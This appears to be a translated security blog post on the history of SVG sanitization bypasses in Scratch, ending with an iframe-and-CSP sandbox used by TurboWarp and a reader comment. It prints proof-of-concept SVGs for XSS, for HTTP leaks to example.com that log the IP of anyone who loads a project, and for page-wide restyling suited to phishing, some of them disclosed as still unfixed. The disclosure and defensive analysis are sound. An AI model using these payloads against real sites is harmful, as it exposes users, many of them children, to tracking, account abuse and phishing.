Рендерер Scratch имеет долгую историю связанных с SVG уязвимостей. Их источником становится то, что Scratch парсит сгенерированный пользователем (то есть контролируемый нападающими) контент в элемент <svg> и добавляет его в основной документ для выполнения различных операций (например, для измерения ограничивающего прямоугольника SVG более надёжным образом, чем viewbox или width/height).
Даже если SVG остаётся в основном документе очень недолго, это небезопасная по своей природе операция. Для обеспечения защиты Scratch реализовывал всё более сложную инфраструктуру парсинга SVG и находящейся внутри разметки, чтобы устранить опасные части.
Я считаю, что подход Scratch к санации SVG обречён на провал. Чтобы объяснить это, нам нужно совершить путешествие по истории санации SVG в Scratch и посмотреть, насколько хорошо он с этим справлялся.
2019 год: XSS при помощи тэга <script>
В 2019 году, спустя несколько месяцев после выпуска Scratch 3, разработчики Scratch обнаружили, что SVG могут содержать тэги <script> , исполнение которых при загрузке SVG обеспечивает Scratch. Такая атака называется XSS.
В Scratch атака XSS позволяет нападающему выполнять действия от лица того, кто загрузит его проект. Например, нападающий может публиковать комментарии, удалять проекты или пытаться захватить аккаунт жертвы иными способами. В Scratch Desktop XSS переходит в исполнение произвольного кода, потому что Scratch Desktop включает опасную фичу интеграции Node.js Electron. (В TurboWarp Desktop эта фича не включена с v0.2.0 от марта 2021 года).
Пример из набора тестов Scratch:
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg"> <circle cx="250" cy="250" r="50" fill="red" /> <script type="text/javascript"><![CDATA[ alert('from the svg!') ]]></script> </svg>
Проблема была устранена при помощи регулярного выражения, удаляющего тэги script.
Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.
2020 год: XSS из-за ошибок в предыдущем исправлении (CVE-2020-7750)
В 2020 году apple502j обнаружил, что XSS всё ещё возможен. Оказалось, что предыдущее исправление абсолютно поломанное и его можно обойти, написав <SCRIPT> заглавными буквами, потому что регулярное выражение учитывало регистр; было и множество других способов обхода. Даже если бы регулярное выражение реализовали корректно, это всё равно бы не сработало, потому что существуют и другие способы встраивания JavaScript в SVG. Например, можно использовать встроенный обработчик событий:
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <foreignObject x="1" y="1" width="1" height="1"> <img xmlns="http://www.w3.org/1999/xhtml" src="data:any invalid URL" onerror="alert(1)" /> </foreignObject> </svg>
Проблема была устранена при помощи DOMPurify, удаляющего скрипты из SVG перед тем, как scratch-svg-renderer добавляет их в документ.
Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.
2022 год: HTTP-утечка через href <image>
В 2022 году обнаружилось, что при помощи свойства href элемента <image> нападающий может создать SVG, который при загрузке вызывает внешний запрос. Оказалось, что хоть DOMPurify и удаляет исполняемый код, он не защищает от HTTP-утечек, потому что «существует слишком много способов её реализации и наши тесты показали, что неё нельзя защититься надёжным образом».
Для Scratch HTTP-утечка означает, что пользователь Scratch может записывать IP-адрес любого, кто загружает его проект, потенциально раскрывая такую информацию, как местоположение или школьный округ. Жертве не нужно нажимать ни на какие ссылки; логгинг IP-адреса происходит просто при загрузке проекта. Похоже, разработчики Scratch посчитали это багом безопасности, и я согласен с ними.
Пример:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="https://example.com/ping"/> </svg>
Проблема была решена добавлением хуков DOMPurify для удаления свойств href из всех элементов, если URL ссылается на удалённый сайт.
Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.
2023 год: HTTP-утечка через @import CSS
В 2023 году обнаружилось, что при помощи правила @import CSS внутри элемента <style> нападающий может создать проект, создающий внешние запросы при загрузке проекта. Пример:
<svg xmlns="http://www.w3.org/2000/svg"> <style> @import url("https://example.com/ping"); </style> </svg>
Проблема была решена интеграцией написанного на JavaScript парсера CSS, который удаляет опасные части CSS. Он парсит все содержащиеся в SVG таблицы стилей, удаляет все правила @import, и в случае внесения изменений преобразует CSS обратно в строку.
Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.
2024 год: XSS через Paper.js
В 2024 году я обнаружил XSS в Paper.js — библиотеке, которую Scratch использует в редакторе костюмов. Оказалось, что хотя Scratch санировал SVG перед работой с ними в scratch-svg-renderer, Paper.js передавались несанированные SVG. В основном эта уязвимость представляла такую же угрозу, как XSS scratch-svg-renderer, обнаруженное в 2020 году, но возникала при использовании редактора костюмов, а не при открытии проекта. Пример:
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" data-paper-data="any invalid JSON"> <foreignObject x="1" y="1" width="1" height="1"> <img xmlns="http://www.w3.org/1999/xhtml" src="data:any invalid URL" onerror="alert(1)" /> </foreignObject> </svg>
Проблема была частично решена за очень долгий период времени благодаря расширению кода санации SVG: теперь он запускался при загрузке SVG, а не только при его обработке в scratch-svg-renderer. С этого момента Paper.js получает только уже санированные SVG.
Я написал «частично решена», потому что не знаю, выполняется ли вообще санация для скачиваемых сервером SVG. В поддержке Scratch мне сказали, что у них «есть меры защиты против того, что обрабатывается на стороне сервера», из-за чего такая санация была бы избыточной. При разработке proof-of-concept я ни разу не видел признаков такой защиты, но, возможно, она реальна.
Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.
2025 год: HTTP-утечка через url() CSS
В 2025 году выяснилось, что при использовании url() внутри некоторых правил CSS нападающий может создать SVG, при загрузке создающий внешний запрос. Примеры:
<svg xmlns="http://www.w3.org/2000/svg"> <!-- встроенный стиль --> <rect style="background-image: url(https://example.com/ping)" /> <!-- также может использовать элемент <style> --> <style> .img { background-image: url("https://example.com/ping"); } </style> <rect class="img" /> </svg>
Проблема была решена существенным расширением кода санации SVG: теперь он искал любые вхождения url() и удалял все стили или атрибуты, ссылающиеся на внешние URL.
Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.
2026 год: HTTP-утечка через множество багов в старом коде
В 2026 году обнаружилось, что при использовании url() внутри некоторых правил CSS нападающий по-прежнему может создать SVG, при загрузке совершающий внешний запрос. Оказалось, что эта HTTP-утечка стала возможной благодаря как минимум трём уникальным багам:
Не учтено то, что CSS позволяет записывать
url(...)при помощи управляющих последовательностей.Не обрабатывалась ситуация, при которой атрибут
styleсодержал несколькоurl(...), где первый безопасен, а второй нет.Не обрабатывался
url(), определённый в переменной CSS, на который ссылаются черезvar(—name).
Пример:
<svg xmlns="http://www.w3.org/2000/svg"> <circle fill="\75\72\6c(https://example.com/ping)" /> <rect style="/* url(#safe_url) */ background-image: url(https://example.com/ping)" /> <style> :root { --example: url(https://example.com/ping); } .img { background-image: var(--example); } </style> <rect class="img" /> </svg>
Проблема была решена добавлением большого объёма дополнительной сложности вокруг кода, который и так уже был слишком сложным.
Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.
2026 год: полная смена стилей страницы при помощи долгих переходов
В 2026 году выяснилось, что хитро использовав очень долгие переходы и заставив браузер изменить стили всех элементов, нападающий может применять ко всей странице Scratch произвольные стили, сохраняющиеся до обновления страницы. Чаще всего эта уязвимость использовалась для развлечений, но её можно применять и для более зловещих действий:
Прятать кнопку «Пожаловаться».
Сделать кнопки лайков/добавления в избранное размером со всю страницу, чтобы пользователи вынуждены были их нажимать.
Отображать текст, сообщающий пользователю, что ему нужно открыть веб-сайт в новой вкладке, чтобы «верифицировать» свой аккаунт (на какой-нибудь фишинговой странице). Пользователи, скорее всего, поверят инструкциям, потому что сообщение поступает от реального scratch.mit.edu.
Пример проекта (не мой): https://scratch.mit.edu/projects/1299571218/
Рано или поздно это, наверно, исправят, но пока пользователь будет видеть такое:

В этом проекте используются два SVG. Первый из них — это «триггер»:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"> <rect x="0" y="0" width="200" height="100" fill="#111"></rect> <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle"> Trigger </text> <style> /* Заставляем браузер вычислять стили заново, чтобы активировать первый SVG */ *, * *, * * *, * * * * { transform: translateX(1px) scale(10000) rotateY(45deg) perspective(1cm) !important; transition: all 9999s ease !important; filter: blur(0px) !important; } </style> </svg>
Второй содержит стили для отображения:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"> <rect x="0" y="0" width="200" height="100" fill="#111"></rect> <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle"> Styles </text> <style> /* Глобальный синий фон */ * { background-color: blue !important; color: white !important; } /* Стилизация инструкций/описания проекта */ .project-description, .instructions-container { background-color: yellow !important; color: black !important; border: 10px solid red !important; transform: scale(1.1) !important; } </style> </svg>
Не буду делать вид, что понимаю происходящее здесь, и почему это работает недетерминированно, но в целом представляю это так:
Триггерный SVG применяет
transformиfilterк каждому элементу документа, чтобы вынудить браузер сразу же заново вычислить все стили, применив стили из другого SVG.Триггерный SVG применяет очень долгий
transition, чтобы после удаления другого SVG стили сохранялись в течение всего «перехода».
Эта проблема не решена.
Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.
2026 год: HTTP-утечка через image-set()
Я сообщал о ней разработчикам Scratch в 2025 году. Они её не устранили, поэтому я раскрываю её в этой статье. Все разумные сроки раскрытия прошли уже полгода назад.
Вместо url() нападающий может использовать image-set(), чтобы создать SVG, при загрузке выполняющий внешний запрос. Примеры:
<svg xmlns="http://www.w3.org/2000/svg"> <!-- image-set(...) может использовать внешние ресурсы, которые можно запрашивать без url(). --> <style> .image-set-with-string-url { background-image: image-set("https://example.com/ping" 1x); } </style> <rect class="image-set-with-string-url" /> <!-- image-set(url(...)) работает аналогично image-set(...). Такой способ уже блокируется существующей санацией. --> <style> .image-set-with-inner-url-function { background-image: image-set(url(https://example.com/ping) 1x); } </style> <rect class="image-set-with-inner-url-function"></rect> <!-- image-set() также может использоваться для встраивания атрибутов стилей. --> <rect style="background-image: image-set('https://example.com/ping' 1x)" /> </svg>
Эта проблема не решена.
Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.
20XX год: HTTP-утечка через новые фичи CSS
Об этом я тоже сообщал разработчикам Scratch в 2025 году. На самом деле, этот баг пока не работает, но начнёт работать в будущем, если браузеры реализуют все CSS Units Level 4 или CSS Images Level 4. Сегодня Ladybird — единственный реализующий их браузер, но рано или поздно их могут реализовать и самые популярные браузеры.
Вместо url() нападающий может использовать src() или image(), чтобы создать SVG, при загрузке совершающий внешний запрос. Примеры:
<svg xmlns="http://www.w3.org/2000/svg"> <!-- Всё, что есть в этом файле, использует фичи, определённые в спецификациях браузеров, но пока не реализованные. Теоретически, браузеры будущего могут инициировать запросы, когда увидят эти стили. --> <!-- CSS Units Level 4 определяет src(...), как альтернативу url(...). В отличие от url(), URL src() может быть любым выражением, а не только постоянной строкой. Ссылка: https://www.w3.org/TR/css-values-4/#example-a2ee15a6 Пока не реализовано ни в одном популярном браузере. (Только в экспериментальном браузере Ladybird) --> <style> .src-constant { background: src('https://example.com/ping'); } .src-variable { --url: 'https://example.com/ping'; background: src(var(--url)); } </style> <rect class="src-constant" /> <rect class="src-variable" /> <!-- CSS Images Level 4 определяет image(), как альтернативу url() для изображений. Ссылка: https://www.w3.org/TR/css-images-4/#image-notation Пока не реализовано ни в одном популярном браузере. --> <style> .image { background: image('https://example.com/ping', black); } </style> <rect class="image" /> <!-- Аналогично приведённым выше примерам, но с использованием встроенных стилей --> <rect style="background: src('https://example.com/ping');" /> <rect style="--url: 'https://example.com/ping'; background: src(var(--url));" /> <rect style="background: image('https://example.com/ping', black);" /> </svg>
Эта проблема не решена.
Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.
Такая система неустойчива
Засовывание в процесс санации всё больше сложности — это обречённое на провал решение. Мы уже углубились на пять крупных доработок, но до сих пор существуют известные дыры. Люди активно делятся проектами на веб-сайте Scratch, обходя санацию SVG. А в момент, когда в браузерах решат реализовать последние спецификации CSS, откроется ещё больше дыр.
Кроме того, не у всех этих проблем есть чёткие решения. В случае уязвимости с полной стилизацией страницы оба SVG выглядят совершенно невинно: в них нет JavaScript и ссылок на внешние ресурсы. Вероятно, устранить проблему можно было бы, удалив стили transition, потому что в Scratch переходы всё равно никогда не выполняются, но уверены ли мы, что этого достаточно? Вспомним ли мы, что нужно удалить все версии transition с префиксами поставщика? А что насчёт стилей animation?
Вот некоторые другие примеры, которые могут обеспечить возможность обхода защиты в будущем:
css-tree(библиотека, используемая Scratch для парсинга CSS) и реальные парсеры CSS браузеров могут совпадать не полностью. В этом случаеcss-treeможет спарсить CSS так, что всё выглядит правильно, а значит, ничего не удалится, но реальный парсер браузера потом распознает внешний контент.Продвинутые новые фичи CSS наподобие
@propertyили native nesting, которые версииcss-tree, возможно, не смогут осмысленно парсить без постоянных обновлений.Браузеры всегда могут добавить новые функции, способные ссылаться на внешний контент, как это произошло с
image-set()и с тем, что подразумевает спецификация вsrc()иimage(). Как не отставать от постоянных изменений в этих спецификациях и проверять, не ссылается ли каждая новая функция на внешний контент?
Альтернатива
TurboWarp (форк Scratch, над которым работаю я) не затронули HTTP-утечки 2026 года и проблема полной смены стилей страницы. И не потому, что я нашёл все хитрые способы, которыми SVG могут наносить вред: на самом деле, я полностью удалил код санации CSS, чтобы упакованные проекты стали на 400 КБ меньше.
Я реализовал альтернативное решение для сэндбоксинга SVG внутри iframe. Сначала мы создаём iframe со свойством sandbox, равным allow-same-origin. Это не позволяет исполнять скрипты снаружи iframe, но позволяет при этом взаимодействовать с контентом внутри.
Во-вторых, мы создаём iframe со следующим HTML:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline' data:; font-src data:; img-src data:"> </head> <body></body> </html>
Встроенная Content-Security-Policy настроена так, чтобы блокировать все скрипты и позволять загружать только безопасные ресурсы из URL безопасных данных. Также мы по-прежнему используем DOMPurify для устранения из SVG очевидно зловредных вещей. Затем мы помещаем iframe в какую-нибудь часть документа за пределами экрана, чтобы необходимый Scratch API измерений продолжал работать.
Такое решение обеспечивает нам очень удобные свойства:
-
Браузер использует готовый код, чтобы выполнять за нас самую сложную работу.
TurboWarp не обязан знать о всех способах, которыми SVG может выполнять запрос. Их уже знает браузер, и он будет проверять их для всех новых добавляемых API.
Реальные реализации CSP неидеальны и содержат дыры. Однако эти дыры обычно оказываются странными пограничными случаями, требующими от нападающего обеспечить исполнение JavaScript. Такие уязвимости считаются проблемами безопасности браузеров, поэтому за них платят баг-баунти.
-
SVG не может влиять на основной документ.
Возьмём для примера смену стилей всей страницы. Так как SVG заключён в iframe, он может изменить стили только этого iframe. Стили iframe ни на что не влияют, так что нас это устраивает.
Наш код можно найти здесь:
Вероятно, можно делать что-то интересное с shadow DOM или другими веб-API, но нас вполне устраивает решение с iframe.
Ниже я расскажу о проблемах, о которых узнал после публикации статьи.
12 апреля 2026 года: Claude нашёл HTTP-утечку через расслабленный синтаксис вложенности CSS
После публикации статьи мне стало интересно, насколько хорошо современные языковые модели умеют находить подобные баги. Я попросил Claude Opus 4.6 клонировать репозиторий scratch-editor, изучить последние изменения в рендерере SVG и поискать в них дыры. Результаты оказались интересными:
Claude самостоятельно обнаружил, что
image-set(...)не санируется и может вызывать HTTP-утечки.Claude обнаружил новую проблему, не описанную в этом посте.
Баг связан с вложенностью CSS, которая может проявляться в двух формах. Вложенный стиль может добавлять к селектору префикс & или не добавлять префикс (последнее известно, как «расслабленный» синтаксис). Современные браузеры интерпретируют оба показанных ниже примера одинаково.
g { & rect { background-image: url(https://example.com/ping); } } g { rect { background-image: url(https://example.com/ping); } }
css-tree способен парсить версию с префиксом & в осмысленное дерево синтаксиса, которое способен санировать Scratch. Однако оказалось, что css-tree не знает, как парсить расслабленную версию. Весь блок div { ... } парсится, как узел «сырого текста», который код Scratch не санирует. Вот полный пример SVG:
<svg xmlns="http://www.w3.org/2000/svg"> <style> g { rect { background-image: url(https://example.com/ping); } } </style> <g><rect></rect></g> </svg>
Ранее в этом посте я говорил, что css-tree и реальные парсеры CSS браузеров могут совпадать не полностью. Вот реальный пример бага, позволяющего обойти санацию CSS. Стоит отметить, что сейчас у css-tree есть 48 открытых issue и множество других неизвестных проблем. Я считаю, что надежда на то, что css-tree будет идеальным парсером — тупиковый путь, который приведёт к ещё большему количеству уязвимостей. Песочница SVG в TurboWarp полностью устранила этот баг, хотя я о нём даже не знал.
Эта проблема не устранена. Issue css-tree по этому багу открыта с декабря 2023 года.
Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.
egranty
Да, бороться с XSS одной лишь санацией пользовательского ввода - путь тупиковый.
Ваш вариант с ифреймом - красивое решение, но если родительский документ опубликует свою CSP, ваш ифрейм её унаследует. И, если родительская CSP более строгая, она заблокирует весь рендеринг SVG (отключит img-src и style-src из мета тега) или ифрейм целиком.
Недостаточно защищать от XSS только вставку SVG, надо защищать весь сайт / приложение.
CSP
default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline' data:;и пусть вставляют свои SVG без санации. За границы сайта запросы не уйдут.Более того, при вставке SVG можно перехватывать событие
securitypolicyviolationи давать адекватную диагностику: “скрипты не поддерживаются в SVG” / “обработчики событий не поддерживаются в SVG” / “внешние картинки не поддерживаются”. Тогда пользователь будет знать, почему его супер-пупер картинка не работает как он хотел.